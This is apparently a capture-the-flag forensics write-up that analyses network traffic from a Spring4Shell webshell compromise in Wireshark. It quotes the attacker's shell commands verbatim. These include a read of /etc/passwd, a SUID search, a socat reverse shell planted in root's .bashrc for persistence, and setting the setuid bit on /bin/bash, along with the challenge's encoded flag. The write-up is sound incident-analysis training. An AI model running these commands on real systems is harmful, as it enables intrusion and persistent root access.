Wrong Spooky Season - Forensics (Wireshark Analysis)

Wrong Spooky Season - Forensics (Wireshark Analysis)

Challenge Description

“I told them it was too soon and in the wrong season to deploy such a website, but they assured me that theming it properly would be enough to stop the ghosts from haunting us. I was wrong.” Now there is an internal breach in the `Spooky Network` and you need to find out what happened. Analyze the the network traffic and find how the scary ghosts got in and what they did.

PCAP Analysis in Wireshark

First, let’s unzip the challenge archive using the password provided by HacktheBox’s website. When we do so, we see that there is a capture.pcap file which is what we are expecting based on the challenge description/intro.

Let’s open it up in Wireshark to see how the attackers got in & what commands they ran.

Based on the challenge description, we can infer that the website was compromised. This gives us something to start with regarding what to look for in the network capture. We see here that the IP 192.168.1.180 sent a GET http request to the webserver for /spookhouse/home.

Since we are looking for a web attack, we can start by analyzing POST http requests to this webserver.

Pretty quickly, we can find 3 POST requests that look suspicious:

These appear to be a Spring4Shell attack (see CVE-2022-22965), creating a webshell e4d1c32a56ca15b3.jsp & using the cmd url parameter.

Next, we will want to look for GET requests to the e4d1c32a56ca15b3.jsp endpoint & examine the commands passed to the cmd url parameter.

The first example we find is the attacker running the “id” command:

And the response providing the output of the id command:

Following the path, we see that the attacker installs socat using apt then executes a reverse shell to their machine.

So, now we know how the attacker got onto the machine & some of the commands that they executed from exploitation of the web application. Next, we need to determine what commands they executed through this TCP socat reverse shell by following the TCP stream.

We can easily do this by identifying a TCP packet from communication with the attacker machine’s IP over the port 1337. Then, we can right click the packet, select Follow, then TCP Stream

In this case, we can easily see the attacker’s commands executed as well as the server’s response:

They execute the following commands on the server through their remote shell. An interesting command is highlighted below.

id
groups
uname -r
cat /etc/passwd
find / -perm -u=s -type f 2>/dev/null
echo 'socat TCP:192.168.1.180:1337 EXEC:sh' > /root/.bashrc && echo "==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS" | rev > /dev/null && chmod +s /bin/bash
ls -lha

The attacker achieves the following with these commands:

  • enumerates the current user id
  • enumerates groups
  • checks the kernel release
  • enumerates other users on the machine by reading /etc/passwd
  • looks for files with SUID (files that always execute as the file owner)
  • overwrites the /root.bashrc with a socat reverse shell command for persistence (.bashrc controls what happens when you log in). The next part of the command pipes what looks like a base64 string to rev then outputs it to /dev/null (this is strange, and perhaps our flag). The final part of this command adds the setuid bit to /bin/bash to make it an SUID binary.
  • list out directory contents in human readable format

Now we know how the attackers got in, their next steps, and how they gained persistence. All that is left is to find the flag. Like I said in the bullet points above, that echo “<base64 strings>” | rev looks interesting. We can run the ‘echo “==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS” | rev’ portion, but instead of sending the output to /dev/null let’s pipe it to base64 -d to decode the base64 after it is reversed:

And there it is! We grab our flag, and submit it on the platform.

Conclusion

The attackers exploited a Spring Framework vulnerability to gain initial access on the machine. From there, they installed socat & executed a reverse shell to their attacker machine. After receiving the reverse shell, they executed several commands to enumerate the machine & gain persistence. Our flag was found in the command command to enable persistence by leveraging .bashrc for the root user.